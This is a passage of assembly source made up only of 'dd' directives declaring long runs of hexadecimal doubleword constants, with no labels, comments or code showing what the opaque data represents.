0C3E01F1h dd 169953B1h, 0E031E4BEh, 9F001090h, 5F7E28C7h, 1C405DBh dd 230BF52Ch, 0C551FF99h, 47E6F855h, 0C4804650h, 0B1950718h dd 590FF0h, 3FFE4564h, 0AF5CEF78h, 0C20EE100h, 9F30A8Bh dd 0FA1D0084h, 0D5A99B6Dh, 0E60E6E38h, 80181611h, 9112B9DAh dd 2B3E003Ch, 0B0CF5B8Fh, 0FB75CB73h, 6230BC00h, 55072601h dd 3AAF0050h, 0A02A1834h, 0DD1385F7h, 0FB0BC4h, 51EC44F0h dd 2E00B9E7h, 0F4925DE5h, 38F5CD6h, 0AA65DBF3h, 0BCA06149h dd 7C00E654h, 0F7C516B0h, 0A0080E44h, 15FCDB4h, 551917A1h dd 303D85BEh, 1B0B90E4h, 0A0D8489Fh, 1620473Eh, 7B300A1h dd 7A6D5B4Ch, 727A9F5Ah, 0D11D950Ah, 0F600B074h, 0BC915FE4h dd 9B220005h, 68333EC2h, 0BE4277Bh, 0A076C10Fh, 0E150E04Dh dd 9D4EEE4h, 35CC44B8h, 50EC3487h, 55945A5h, 28764B02h dd 60BCDE90h, 7B5093C8h, 0FC4600D6h, 1A27EE61h, 320087AEh dd 882BDF7Bh, 7234E2Fh, 423BD96Bh, 3E561048h, 8F003F38h dd 469B6CD6h, 347F20h, 45A097CAh, 83EF5BE5h, 6A27A306h dd 0EA64F30h, 0B30F7310h, 7D1FE5h, 0A198D1F8h, 6D00690Eh dd 0B4A8ED4Dh, 0D8EEF5h, 0D049F432h, 5674BEC9h, 4ACE521Fh dd 0AF31E207h, 72718671h, 0AE5E80C3h, 0ECE400F3h, 0D16C407Bh dd 0E901939Ah, 0DE969B52h, 6030CF5Eh, 0B04602E6h, 0D2AFB3C8h dd 0C59F08C0h, 0CA60990Eh, 35005D3Fh, 78EC0C3Dh, 0F610F59h dd 63A07ECDh, 0BDB914F4h, 49AB8500h, 953E71D9h, 90CB00F0h dd 8260113Bh, 5A00F79Ah, 0B73C0F19h, 0DFD4BFh, 0CF80EA44h dd 0CDEEE87Dh, 0A00A7300h, 3C5941ECh, 785D0130h, 0AEA1C68Fh dd 82C8DC14h, 9163DE00h, 95C125FCh, 0A55B00E3h, 0F1D6F64Ah dd 56000803h, 4EDDDABDh, 0A47CDCCh, 0C2C7B685h, 4B581DECh dd 0EC001EDCh, 0A1F63850h, 0C5C5301h, 95E2C5D2h, 142FFCCh dd 0F99B89E0h, 0C851126Eh, 8B0ECA41h, 7468DCB0h, 5D2300CCh dd 37808EA9h, 1C2F0043h, 68CF7866h, 0C800E244h, 0A2DE028h dd 1814722Ah, 109B4733h, 0E01ED12h, 711C0960h, 0CEE0EA45h dd 6B4A58E0h, 87724h, 0D10A218Eh, 0A700C4F1h, 0FA1B10E8h dd 3AE4CA5h, 0E99F65B5h, 49A0E01Fh, 0C00739E7h, 1AC6EB21h dd 0C8134CB3h, 137C292h, 0A0A26E1Ch, 21B3488Eh, 0EC0DD4FCh dd 80F74F3Ch, 0F098305Fh, 15283CDh, 0FBC6B078h, 0F8B74604h dd 911D1705h, 3700447Bh, 858850C1h, 0E7905C3h, 0D1358DECh dd 0E8951BACh, 4601F3EFh, 29D738F2h, 1ED4ADC9h, 0B63000E5h dd 0DB1625EAh, 0F01410DDh, 7BA04089h, 0AE8138h, 37E0E6C1h dd 2AD9BDh, 0B2697698h, 0D6AFB63Ah, 0FB001EECh, 3F678D77h dd 3CC7DF51h, 2980AC20h, 85180D80h, 0BE007A61h, 62DABFE4h dd 2C8C45h, 91FFA4FDh, 199389B3h, 531FAB7Ch, 4CEC81EBh dd 0E1DFB100h, 0C0F0A1BAh, 61F62780h, 2E000ADBh, 0D4969111h dd 64443Ah, 37B4F27Eh, 48FB4DB2h, 0E3E53B02h dd 0EFE6B040h, 26B681DCh, 30E7F311h, 8077CF18h, 0B4D31E01h dd 6ED01D16h, 1A8B2FE9h, 9820A01Fh, 2A436B26h, 0ECB0700Eh dd 7D1769FDh, 0E4C9A083h, 9EEED3C1h, 2000C111h, 0F02AD7B3h dd 448B002Fh, 5FD3781h, 0B6012C40h, 5562B78Fh, 747289D6h dd 0E4B1F403h, 44A1A8DEh, 0F3EE80D7h, 5F92A181h, 0D3F018C8h dd 528CE208h, 0E1804C00h, 8B449D12h, 3E8104F4h, 0A0618311h dd 590062A8h, 0E8DEEBB0h, 7F06791h, 853DB608h, 9D2601Fh dd 15002556h, 78F48C3Fh, 188C37Eh, 28E05E54h, 80AA7D60h dd 0B6E84A99h, 7C010A5Ah, 0D4765452h, 5DB00ECDh, 0D6E68Eh dd 0AE0E3B0Fh, 381CEAC4h, 84FD163h, 980077C0h, 9AD992E2h dd 0ED6B14CFh, 4B0E94F0h, 4D013C7Ah, 0F00F4469h, 0D57C0EF9h dd 261EFF0Fh, 92772095h, 56FC9Ch, 0A8B42ABCh, 67C4E806h dd 149D4Dh, 0C236F227h, 0E52D5D9h, 0E399DC2Dh, 6249B3A3h dd 0ED091096h, 807C7DA1h, 3CC8C976h, 1DA7BBEh, 73618DB9h dd 0A09267B5h, 330A8E51h, 0A1E5A0E1h, 0F73C9D00h, 56FCBh dd 0A984D194h, 344DD007h, 74D68313h, 628901AEh, 2C572572h dd 65CF0064h, 5EAE390Dh, 0E84B94h, 0A015B70h, 260B38D8h dd 80FAC054h, 0E699587Eh, 0B8A8557Dh, 0DA0CE4h, 1F627EC7h dd 0B73B25F7h, 897C070Ch, 0E30615Bh, 0DC9D704h, 0B92A06C0h dd 4D05BC6Ah, 1492D619h, 0A9C8D890h, 415C0051h, 97793536h dd 36981ED5h, 7D3E5872h, 75B00080h, 9DCC087Ch, 0F80D07F9h dd 8F09BA9Eh, 0ECE5099Bh, 0AC350044h, 4F1ADB30h, 14D8002Ch dd 81CF750Ch, 28D9418Dh, 0C0605930h, 97380104h, 0D3846A91h dd 1860852Eh, 0F980DD34h, 0CED4328Dh, 3E807631h, 5BDA6CE7h dd 1A4DB906h, 401F28h, 9AE9A523h, 211B5CAEh, 18FA1831h dd 7081A36Eh, 76AB083Ch, 9AA980B9h, 20FF0F14h, 0A2F81E84h dd 7308F31Bh, 0EB79E105h, 0DC805F0Fh, 37351738h, 2089D630h dd 6EA0A670h, 8AEB6A03h, 0C9B59BF1h, 80BFA1FDh, 2E1C1500h dd 9C8D82EFh, 94665106h, 641DB6Dh, 5F041ACCh, 340120F9h dd 6C816E41h, 0E374DBh, 1E538FA1h, 7E3E2D36h, 5B541DEEh dd 4118D09Ch, 9E509516h, 0BCEE281Ch, 0CCAF38ACh, 0BAC1C3B1h dd 2F63CC29h, 0C280D103h, 30988A8Fh, 0CA215D08h, 140C6475h dd 99A16558h, 0B0E2031Ch, 0B66F0ABCh, 0CE2060C6h, 0CD00FC2h dd 0A960BE7Bh, 739FBD54h, 0C9663612h, 0AE901400h, 0A2E5B4h dd 0B32E92AFh, 0E101DD08h, 6152A30Fh, 8A4AC0BDh, 32AC3834h dd 0C011C194h, 0CE1804BCh, 52107C16h, 1B690062h, 33BB5815h dd 380089C2h, 0BF56EDE4h, 0F21F3BCEh, 12521BDFh, 27E42967h dd 455EAD2h, 0B4DD20D7h, 583801Ch, 0C89C5C88h, 1C43D351h dd 672922A0h, 43010300h, 0EC17975Dh, 75F500BFh, 51551F0Ch dd 0B70084A3h, 2CDCC2B9h, 0B86FE649h, 0D9892612h, 369303F7h dd 9CE98531h, 0A9FDDC92h, 56C17700h, 0E9EA421h, 6CD30024h dd 39057B6Dh, 4F00BD57h, 0E27DF83Ch, 0E556B5h, 0B450AEC7h dd 903D518Ah, 10EDBE00h, 5C58301Ch, 61A1036Fh, 5A9DF33Eh dd 79F71000h, 64C68902h, 7382000Dh, 7E90548Eh, 6001B72Dh dd 3242EDAAh, 0BC519F2Fh, 35CC87C5h, 0AD7080h, 39310E77h dd 981978C6h, 93CAEE00h, 0CB041D72h, 185B70B7h, 28763261h dd 0AA0037C6h, 0A936C530h, 8B447h, 0B1DD7E2Dh, 209EAC4Ah dd 2B9DE700h, 6D7357A3h, 0C4FD15EFh, 1303FC81h, 89320A2Ah dd 0D16CD2C0h, 2C110F00h, 0BEB91729h, 0FBD700E5h, 84C0A9D6h dd 3500A2A3h, 0E3E88E77h, 26F1982Fh, 17DD2C8h, 0B076FECFh dd 0A9989E72h, 0A0F85F81h, 2BE0079Eh, 7FD795Ah, 0E29894E8h dd 3C202906h, 0D688715Ch, 0D304A570h, 75A36317h, 0F37EB083h dd 0DF100B18h, 0F081D06Dh, 0C5FE0882h, 95C1808Bh, 796B9ED2h dd 80C50027h, 0AEDE0F71h, 4D007514h, 134CD04h, 24D549h dd 12DA1799h, 0EC1D0D97h, 0BD2DA200h, 0C42815F9h, 211A00FAh dd 4DEB5C50h, 0B500656Fh, 0CED863CDh, 385AAD98h, 181F69B4h dd 8C0B40B9h, 17D30F0h, 633C6D26h, 573E0600h, 3962CFh dd 88707E2Bh, 0C0B1F16Eh, 0AC2A7F18h, 0FC011D10h, 2013038Dh dd 76CD9875h, 3DD51803h, 0E0690E0Dh, 48080190h, 4400483Fh dd 919F0CB9h, 7578A812h, 0C350BFECh, 0A601C68Ch, 0B904F526h dd 6FFC1E4Fh, 6D2000F8h, 48BA06B4h, 92765E9Fh, 28525A00h dd 33D5FEA8h, 1E129078h, 0C06E8BF5h, 6904EDCFh, 6700E9E5h dd 8DF2C847h, 0F5D4AAh, 0FFFF42Eh, 7FB0ECDFh, 0BCA00C73h dd 0A90023CCh, 696279Ah, 0FBB5347h, 9B367E6h, 0BD3DFAEFh dd 11001D3Ch, 0F449F657h, 0AB4816B7h, 9AC001Bh, 5FC3F7B6h dd 0D00B0019h, 936113DBh, 0E450FC6Eh, 44011CB6h, 31680D09h dd 8FE8E2A4h, 136B002Ch, 1AFD6C1Bh, 0A60066D3h, 2393CD28h dd 31408A4h, 0B113EC83h, 769161B3h, 0C09440BDh, 5E3DC6EFh dd 15DA808Ch, 5A7DAC82h, 0FB432483h, 0C5040050h, 0FC1B6EF6h dd 2F9610CEh, 0CCAE8055h, 0A1D22CF9h, 9421F890h, 0B310D0h dd 680B4B1Eh, 0C252903Ah, 0D358B800h, 8A0A867Ah, 0DCC4283Fh dd 0D53E00ECh, 0C375E82Dh, 8D00BF1Dh, 0A9865589h, 0F6A59AEEh dd 8AF4028Eh, 0FF60238Bh, 89E3D090h, 0F63E2898h, 80A8255h dd 60567CEDh, 0C0BB4Dh, 7B1F498h, 0C6BCC968h, 46A9CB00h dd 21A2E8D9h, 0C1C0E744h, 0F8062617h, 0D86836Ch, 0A3D0A996h dd 73048174h, 379A56BFh, 7EF0C1C7h, 0EBD6F8h, 2BA7318Eh dd 946E8A76h, 0D4007478h, 3524663Fh, 27D0D17h, 461CBD02h dd 42405F52h, 0D7F26C77h, 0D51621FEh, 7202DF25h, 40AEE41Fh dd 7EBB418h, 7E0FF241h, 0C37AF05Dh, 0DA007FBEh, 2ED26011h dd 155CB6Fh, 0CEEF59DCh, 9DCFFC30h, 0A480777Eh, 3B0FBDF1h dd 43210288h, 5F6BFD48h, 0B8E41840h, 82B3B221h, 0D3E62624h dd 0FFA10C60h, 2F005F7Eh, 0DF233E88h, 12EAA61h, 6B9ACC59h dd 0C8FB7282h, 994CA0B1h, 0F05201C6h, 30E0336Eh, 0A97AE040h dd 2F6600E6h, 0AF03ECFCh, 2400614Ch, 0F2AAEEA4h, 1F09D055h dd 80E25FDFh, 0D8706EA8h, 3300D77Bh, 0E1568B6Bh, 2793B47h dd 876ADA7Dh, 75743Eh, 55316CF3h, 17120021h, 4AF758E4h dd 0B109103Fh, 0F2C62BEh, 80F5A010h, 52E38Ah, 8E03A993h dd 2E734BFDh, 5EE7A400h, 0A318C63Ah, 1C2A1407h, 7C00B8D9h dd 0D6CAB9B2h, 0F7009526h, 17F68B42h, 79D918A2h, 23781EAAh dd 678000CDh, 0CE85F9A6h, 0FE5C4600h, 45B91CA9h, 18F3000Eh dd 0CC809BAAh, 40826503h, 58B48A7Ch, 0AF041F1Eh, 822B96CAh dd 5840676Dh, 4D07F0C8h, 6312D369h, 457422B0h, 2187EFD8h dd 0B0C579DFh, 2CE357A4h, 90EC410Bh, 823802FFh, 6670E1BAh dd 0EEDDC1C9h, 383E37F4h, 0B0773A6Ch, 81B0218h, 0E64F5BCBh dd 7DAD2A60h, 4B1448h, 6F7CAB59h, 0D64A80h, 0A7CE9124h dd 0D1714D8Ah, 9B2CFC00h, 318D492Eh, 3B8B0193h, 0F94EA305h dd 6608708Ah, 2C1C1626h, 3CA15F40h, 2E98CF2Ah, 26A5A8A0h dd 2000C5A7h, 0A36213EBh, 79A845Dh, 2F82F5E5h, 8C400FBDh dd 0B37EF603h, 48EE5C00h, 0D3BFC15Eh, 8F132689h, 1CF00054h dd 3F7F497Ch, 799BA301h, 8DA0DE88h, 0C7172180h, 0AD270BB3h dd 49CA650Fh, 28E0C731h, 0EBC18872h, 6C4CE834h, 0D33406C6h dd 1995479Dh, 6971ED1Dh, 8111AD58h, 7FD60040h, 722703E7h dd 520C5DA5h, 20D8C857h dd 0DF9703A2h, 0DD8BAE9Ah, 932D76A0h, 6153D00Eh, 89EC0D3h dd 7A091A06h, 5EF02CC8h, 50C900F0h, 0AF2CDF66h, 3A74425Ch dd 62AE0634h, 4C585EB4h, 0F8073B5Ah, 90013730h, 7A96198Ch dd 202BC430h, 0F03DD8DAh, 81B800AFh, 22D1AC18h, 0D92E0169h dd 2042283Ah, 2790005Fh, 0E406B757h, 82D7626Fh, 0B2D0089h dd 0D36C407Dh, 0A633C5C8h, 0D0856122h, 0EE521Dh, 1F42F4FDh dd 0E1B2667Bh, 0E8006377h, 0D639C9F7h, 94F0E0h, 0AD8D5403h dd 534F1C73h, 500F49Ah, 369117B5h, 0BA2A447h, 0B9AA7213h dd 0FBAB3820h, 0E701B508h, 307C6999h, 5434F0DBh, 0F2B90B43h dd 448087AFh, 0C5D72096h, 74A9AE01h, 402B56F3h, 346A3E4h dd 49F89161h, 25F86C2Ah, 2F097DA8h, 2B3CE1h, 611857DCh dd 0EB603C8h, 788B3EF8h, 0B7FBE090h, 196F7E00h, 0ED8550B2h dd 738D5CFAh, 83365500h, 95E3B6CDh, 0E8324100h, 0C194C057h dd 4D0802E4h, 2DA044F1h, 0CB6411E0h, 72007479h, 95942F17h dd 23E184h, 73E51966h, 3CEEB20Ah, 7D28A100h, 1A4C57ECh dd 0C1C503F4h, 0A64AC946h, 27621290h, 2C387400h, 5C0497FDh dd 0D1D500C7h, 52F0EE9Fh, 348FA91h, 0B7170743h, 0C380DC8Ah dd 984269h, 0E47FD278h, 0FD3238E8h, 640309B8h, 26E3A1E2h dd 0C98800F2h, 79BF59F9h, 4C905BACh, 0E18A9A00h, 0DFCD36D0h dd 62920043h, 3DA734CCh, 290156B2h, 0BE230560h, 70E8F265h dd 0A2A009Bh, 0DFCFB04Dh, 51E1874h, 1F9F50F6h, 930FB9D6h dd 437160A6h, 3684DEh, 0EAD65A62h, 0F6EFB185h, 0A8E39113h dd 783C49h, 3F4CDD7Ch, 0E89A0075h, 1CD36A6Dh, 1D7EC985h dd 0CFA51700h, 0BB0D79E3h, 3F38009Ch, 51D02001h, 0E7E48191h dd 0D4FCAF75h, 0BA33CA01h, 460A8337h, 0CF51C7C4h, 0D840B329h dd 3D05116Ch, 9D317300h, 49323628h, 0ADF82216h, 0BDB7E700h dd 57BA976Dh, 0B9766Fh, 99F2B349h, 44C50365h, 700DC9Ah dd 0E127B61Ch, 131787Ah, 0D83C64E0h, 2051A0A5h, 6B00D9ACh dd 0CFE9959Bh, 63A18Fh, 96865072h, 2E9829DCh, 56820E17h dd 13618D00h, 3BFDC6BAh, 0AC8084AAh, 8658F6A4h, 8504B65Fh dd 0C7937B32h, 33488B0h, 0E9248AB0h, 70EFDEA7h, 694647C8h dd 53BB2D00h, 0D8F04929h, 5F9400F6h, 0EA5D0AFBh, 4F0B8819h dd 300118h, 8AE943E0h, 0A85400B1h, 0BF94F2E5h, 0FF0063B3h dd 6B9B8B2Fh, 73346450h, 7A6C0009h, 4652730Dh, 80003A54h dd 1DE45860h, 780A7413h, 0BDC61FDAh, 712804Eh, 3845EE5Bh dd 0B3EA1F00h, 0BFF2EDFFh, 4061EFC1h, 70BF3FCh, 349F939Ch dd 543DF0F7h, 19004C58h, 41B0BBEBh, 0E64168Ah, 0CAE80ED1h dd 3B48B160h, 6D2CDBE7h, 0D4004889h, 0E345FBCBh, 41BA2C8Fh dd 56260240h, 3C1C1955h, 0DC8328D1h, 0F15EB26Dh, 0ABA3D800h dd 0FA1F6190h, 627E004Dh, 0E72501ADh, 32047A27h, 0E49AFB66h dd 7815C0B0h, 5F10004Fh, 56AB60B2h, 0AD1DC909h, 8E400E49h dd 28E298E1h, 0E8E4607Ch, 0A6EB7095h, 250024FCh, 141F1BAh dd 0E23A450h, 118771CEh, 0A8A0C58Bh, 0AA1275Ah, 0F211C660h dd 67BF2BB0h, 0E0BBC028h, 0FDE2217Bh, 84B8A377h, 80C77C3Bh dd 9C14B709h, 0E695C5h, 0EACBE976h, 0BF462FD1h, 2CAB20C0h dd 0CE6B4814h, 22F7458h, 9112F4Ch, 13289100h, 10A6FAB5h dd 1D6F00EDh, 254027D8h, 8A0072D1h, 39C48992h, 0CE55B9BCh dd 0E8800639h, 0FB2CD8E7h, 0FF00F4B8h, 0DCE7FBFh, 0E0F9DBh dd 0AF974687h, 4D80F058h, 1BAEE200h, 0B9B8EB2Ch, 7C8E00B6h dd 0AD16AF5Bh, 0ECE935C5h, 0D006619h, 0FD15FEC4h, 309AA0C0h dd 0C2600818h, 4E4E3E02h, 5AA15800h, 30788C60h, 4820C8F2h dd 197D5FC5h, 6A54EF00h, 0A88E11D6h, 0A6E6C0h, 2ED3B34Eh dd 0E5D2F82Ah, 646FC00h, 0DF95E983h, 58B20Bh, 75E1EEC7h dd 2EADF7C9h, 918E3C00h, 33691A5Fh, 5C9F58A9h, 0CF900271h dd 0E5A6F25Dh, 1109D380h, 36029C0Fh, 182E17EFh, 0AA70E043h dd 6AA00492h, 0C783CE32h, 49F2610Ch, 0DD3960B4h, 44566300h dd 0EA48D95Bh, 39206BC6h, 73CAE400h, 0EF3812B7h, 0D92DFDh dd 50B9E844h, 3DD000D6h, 5AE04E13h, 0E3095571h, 0E09F0B90h dd 0F62E583Ch, 47FA0B56h, 0EC258D35h, 47941305h, 0F0ABACECh dd 0F7713AB7h, 0F09E4100h, 4BCFE49Fh, 0C28C004h, 32C2D1DBh dd 7110C560h, 3CDD0DC1h, 0DF00B519h, 0C29E1718h, 359841A8h dd 8B359828h, 0E0F88000h, 0EBB3DAF7h, 0D68D06BEh, 497AAEFDh dd 0EC52CE0Ah, 7E00F868h, 7D456FA6h, 84C009DAh, 8C40B3A8h dd 7F1F9EF2h, 649C4DFDh, 44F0AE40h, 1B41609h, 1E70CF9h dd 0E98067EEh, 7D588306h, 0D9434594h, 0D44091A5h, 5D55FAFh dd 81D69D7Ch, 1EC0122Ch, 266D46BCh, 5200102Dh, 850914BDh dd 3906E9DCh, 0AD8083F5h, 0E56F783Dh, 0E63B4A62h, 0FE08804Bh dd 534993C5h, 6560C096h, 12C8EE3Ch, 0BFD73E01h, 0BAC3172Bh dd 26D1830h, 298A7A4Bh, 862E602h, 0CD88A100h, 0EB4937A4h dd 7E6700ECh, 0BFAACA3Dh, 1595038Dh, 0A125CB1Bh, 0A030BDD8h dd 2FE4E700h, 74368C0Fh, 0C74D1758h, 89D00371h, 0F4907638h dd 801C0372h, 2A537922h, 92A2C880h, 3024138Fh, 834C02F3h dd 0F702E58Eh, 0CEFF6077h, 0DCCA004Ch, 71120BF5h, 79F4953Fh dd 38F07548h, 0F9EA8036h, 91F1676Bh, 964A0033h, 89698CD6h dd 36000C13h, 0E3043551h, 77EC35Dh, 0B76D270h, 84F49321h dd 0E88048C6h, 910B7BCFh, 1862C4D6h, 3B2F314h, 0DB98711Ah dd 80948E84h, 0C1480104h, 0BE08FB00h, 0A422E537h, 43790029h dd 215E6CB9h, 0B4007B24h, 71A1E8D0h, 2FACE7h, 0BA01B880h dd 8A4FC182h, 0C7FC1170h, 293A7C92h, 38620B2h, 7047156Ah dd 93E06014h, 200065B4h, 1F88DF25h, 9CD61C03h, 0A8917700h dd 0C77D1C80h, 0E0FB2A1h, 0A0446D06h, 0E3E26684h, 3CEF0005h dd 539621A2h, 0A39BC97h, 16B2072Eh, 212DF24h, 4900407Ah dd 40C25B77h, 37239080h, 3E3D7803h, 9272BBC8h, 180064C1h dd 4189263h, 753424A0h, 0FEA5006Eh, 0AC030B3h, 0CCBB0102h dd 40DA8B4Ah, 0F9CF018h, 0CF533281h, 65B4C0F6h, 361ED16Ch dd 0C783798Dh, 0B0641463h, 901DADE4h, 27420068h, 85E30F54h dd 0EF13519Ch, 0E0076C47h, 0B4D0831Eh, 0C35CB024h, 0DD2D2290h dd 890997C0h, 480708F0h, 907BAB95h, 0D89580C4h, 137C5500h dd 4C8D4177h, 6324DDE3h, 27F803A7h, 6DC01073h, 3000A939h dd 0DAEBBC09h, 2D8F475Ch, 2800148Dh, 0E6D57246h, 0A301E279h dd 0D09B73B3h, 0D980588Ch, 0F27726E9h, 0E2009545h, 41EB2164h dd 3C1482C3h, 5F801297h, 0EC807301h, 6E3D7804h, 0C9D600D8h dd 0A7E5C87Ah, 48252498h, 8EE91CBCh, 4E4086C3h, 0B24430A3h dd 0EB59770Eh, 49E2616Ch, 0A4484CF4h, 0A48726C5h, 8B99003Ch dd 47912EAh, 0A2FE3400h, 0DF9DF90h, 275B009Fh, 31521B56h dd 0BD00D048h, 0EAD2D570h, 4F835h, 14980D4Bh, 61B9D6D9h dd 0A8EEE51Fh, 115EC5C0h, 1A2864h, 0EF8ACAA7h, 0C3E573CEh dd 0F2FA9500h, 2655AF1Eh, 1B3600EDh, 52624AC6h, 0DD1F88B4h dd 0D78EBE1Ah, 918F80E6h, 0FFDA9D5h, 0DEA1BD11h, 7EA0E5AFh dd 24DC9D8Ah, 0C40087ECh, 0A0A47F41h, 480AEEF5h, 6F15A206h dd 7E00B413h, 5FD3CAC7h, 0E4B19E76h, 3566FF00h, 0F67219Ah dd 6C379953h, 30228E20h, 0E00935Dh, 0F1CC4C32h, 70C04039h dd 0BF5900EDh, 5EB3649Bh dd 0FE2C5355h, 8504E088h, 74D0BC4Bh, 16DECCDh, 7689A603h dd 807F44E2h, 0DE802D18h, 28CE2EB3h, 281842CBh, 7241655h dd 41DD8D95h, 4DDC50B3h, 8B006537h, 2CAE79E8h, 7808DED0h dd 66D9C57Eh, 0E1FCF1E6h, 0BD708001h, 263CD9C3h, 888EBF9Dh dd 9018830Ah, 0F60386BFh, 0A5F73AA0h, 0A2017A05h, 0FF440AEAh dd 7BE9014h, 0C2388361h, 791A4260h, 0DAA0009Fh, 936BFC2Ch dd 0B900F782h, 817E151Ch, 4CEADFh, 0B7024183h, 403D4568h dd 887F9100h, 786F3401h, 47420019h, 52670C2Fh, 0ED076813h dd 6951663Ah, 0A2E96510h, 3C5317E1h, 472B0006h, 2118C6FDh dd 1600ECB8h, 20F5BA6Ah, 7B6564Dh, 0ACF44835h, 3C7E2001h dd 54E4F685h, 0D4611915h, 23F401B4h, 8F9C7514h, 0E342FCh dd 0FF0C4434h, 55498DB4h, 0DB6E2517h, 739A7800h, 0B8390E38h dd 3D7514D0h, 0D70024FDh, 0FFE9D920h, 954612h, 0AB41BEC4h dd 60150008h, 8934936Ah, 0C9014570h, 0CB032CA7h, 92F48D4Dh dd 252F3096h, 24177310h, 0EA8ED315h, 0CD748D0h, 201DE2F0h dd 9D060064h, 0D120D8DBh, 4506BEF7h, 0EEB9B38Eh, 0BF500131h dd 0FA9E14DDh, 0B0DAE8D8h, 80FB5F3Fh, 66D35881h, 6996F9Ch dd 0D8C184F8h, 0E50A396Eh, 68D556CBh, 0E8376A0Dh, 7CC01CF1h dd 581F1850h, 86F021DCh, 0ADCD1707h, 3150033Bh, 0F8C624h dd 4A745220h, 0E44B2D0Eh, 0BE1E5600h, 0CD668D49h, 877B89h dd 0B7B169E1h, 4078AC7h, 128E130Eh, 7DBC834Eh, 4114310h dd 0CE9167A0h, 88AD10C0h, 139A2CAh, 6FC01DF2h, 0FC697D90h dd 8200EAD6h, 234B0C2Dh, 0FFEFAh, 786144CFh, 0DA1492F0h dd 27034000h, 4651DC38h, 0FE050FECh, 4240212Ah, 806487A9h dd 6C413900h, 0A3697040h, 295800E6h, 26F10E88h, 23079ABFh dd 8F73A57Dh, 44838AB0h, 2C02E63Fh, 34B77E0h, 527DB75Bh dd 0AD284101h, 0EAAB781Fh, 7AA2F8h, 0DA02991Ah, 8C247945h dd 422EC0F8h, 0DD0072EDh, 2F1AC129h, 8EE50050h, 0B3FAF881h dd 9D7557D0h, 89139500h, 93676315h, 0B7760042h, 7308C2A8h dd 6A001781h, 15C3EDD1h, 3950Ch, 79F86441h, 60A8EAF3h dd 0A600F474h, 0CC9D7D76h, 0E5E8D78h, 0CBED670Bh, 50F845E7h dd 0DEA3174Fh, 0F86EF5A1h, 0D300F0BFh, 0B5112671h, 1236089Ch dd 18C853D6h, 0D0BC31CAh, 73DA4E00h, 25F35CFDh, 0D81150A3h dd 7A2B001Ah, 608340B0h, 4874C603h, 1D574Ch, 0EB91C88Ah dd 0D2149Bh, 4DA041E0h, 0D977341Ch, 0BDCB751Fh, 0B53DD440h dd 0E7957Ah, 0E5FACA1Ah, 4A8FF853h, 0CF4E9E00h, 1DF3E0C8h dd 189212h, 568CE42Eh, 43B9DE46h, 0B8D73D00h, 0DABD166Eh dd 256A0092h, 4479ABAFh, 0F614B3DFh, 90E6F8h, 0D6E88D57h dd 3905F235h, 36008F79h, 1B93243Bh, 4C2877ADh, 4203ECDFh dd 804E967Bh, 0D36ED037h, 9011008Ch, 990E54E4h, 0D900CE44h dd 0F398EA21h, 0A87D8h, 3388C10Dh, 0D3E7D777h, 7DF6C23Ch dd 0E663D500h, 75E223A3h, 0DE8B0016h, 0C4D3935Eh, 3612B06Fh dd 840613EDh, 7B7181DCh, 72700097h, 7F8B906Bh, 81B8F2D8h dd 45FBA080h, 0CF2D1100h, 19AB078Eh, 50900EF7h, 6D805171h dd 4E0FF604h, 8EE54A3Ch, 0E0073989h, 157DB31Ch, 0CB6D0443h dd 8026B035h, 787E433h, 70564400h, 0A6310F06h, 609800B1h dd 7874EDFAh, 0A300A0FEh, 8E1E773Eh, 0E97F5Ch, 0FAF3AC50h dd 2F58DCA2h, 0BEDB8302h, 8803CB84h, 6403D4ACh, 8844BADDh dd 1C163224h, 6A4ACF7Fh, 0BD42B4h, 0B78F3C35h, 57D8F6h dd 0D15ABC58h, 0E81D9CEEh, 16C21400h, 92C3E6EAh, 379A0045h dd 0CCECA3EFh, 0A500FBEEh, 8FCDD407h, 519F4E98h, 77ECDD99h dd 45BC004Dh, 0B2562221h, 0EE502A80h, 0D5E05FA0h, 3005CF4h dd 0D63C0DC1h, 0FA4A8D8Ah, 0E2873ADAh, 0CFA3D701h, 0F86746D4h dd 8C031B2Bh, 0B1993B38h, 13E1008Fh, 0FE3E8053h, 0B0007904h dd 0DA0B57CBh, 430F58h, 0AA2EC6D1h, 8C509A21h, 3D3AAC3Fh dd 7A1B8067h, 6F3C4A2Ch, 0D2E307A8h, 7BA310h, 0D1A9F407h dd 63033A1Dh, 870D9780h, 0E9C23h, 0F73F2AB2h, 0C3FEAAFCh dd 0F1AE5900h, 0ED0688DDh, 0ADF92842h, 913F00ABh, 0F8E42394h dd 18F678F1h, 0DA9C9E0Fh, 0F34A8099h, 877DEEh, 387B7744h dd 60C562FDh, 0DCEA1900h, 298ED721h, 0B8862CE2h, 7F60011h dd 6597FBBEh, 0D0F89060h, 719371Fh, 62982AEDh, 0BFA9108Ah dd 8300AAF1h, 25BA05C2h, 12C63Ah, 0E52C21A1h, 5558752Eh dd 0FC8B5728h, 3105F700h, 0BDEAAECFh, 0DC6105A8h, 114EF54h dd 79F9AC84h, 4DE5D004h, 0F7524700h, 897862D7h, 6D714Ah dd 0DA97A7AAh, 7C58FED0h, 5B6E2300h, 484F327Dh, 8433D4Ah dd 82F43600h, 0A21B88B6h, 2A2DA601h, 0F04F09BCh, 963FCCh dd 239EF250h, 0E3FEAE35h, 727838h, 954ADA92h, 3B0C9BDFh dd 784D13DBh, 0ABFDB002h, 0A7C108EFh, 1E914032h, 0FCE785D2h dd 75006E94h, 450AE388h, 0EB3BF1Dh, 477F974Fh, 0A6B07C20h dd 58001968h, 6283254Dh, 0B6EC172h, 0AA9FAACh, 0F16BF080h dd 380091BBh, 0E8972369h, 1AD0E99h, 0DD58C951h, 3074C796h dd 0E10008F3h, 34A7431Dh, 9B41329h, 61F8249Ah, 0AE45020h dd 0F0A644Eh, 0B4793415h, 7E27AF03h, 0A752C02Dh, 94A0078h dd 0BA1526F3h, 0B600E006h, 836F89CEh, 90D43934h, 732E00FAh dd 0A853511Bh, 0E700E0B1h, 0F72224CEh, 0C02793BDh, 0C0ED6958h dd 8D03EFF6h, 0C1B99F23h, 0D1DD98F3h, 73A2001Eh, 163BA9A3h dd 0D700185Fh, 0B9ECC323h, 1F0D94A4h, 0BF425Ch, 3A335B51h dd 5E005D8Fh, 0CEFD2F31h, 58AE8159h, 0F1B01863h, 0AC00A29Fh dd 887C221Ah, 0FCFA4565h, 4D05009Bh, 0BA39E7F5h, 8E1E3310h dd 0BD5C5CF0h, 0E33B1A40h, 431B27h, 0CCE71DD4h, 0A8CA07D9h dd 0B0D76707h, 83303A63h, 7E44579Ch, 1BB021h, 2C6FC342h dd 3894BDAAh, 0F18ECE00h, 655217A8h, 0F28E240h, 0F9B61A42h dd 3B5EA560h, 0C90E0492h, 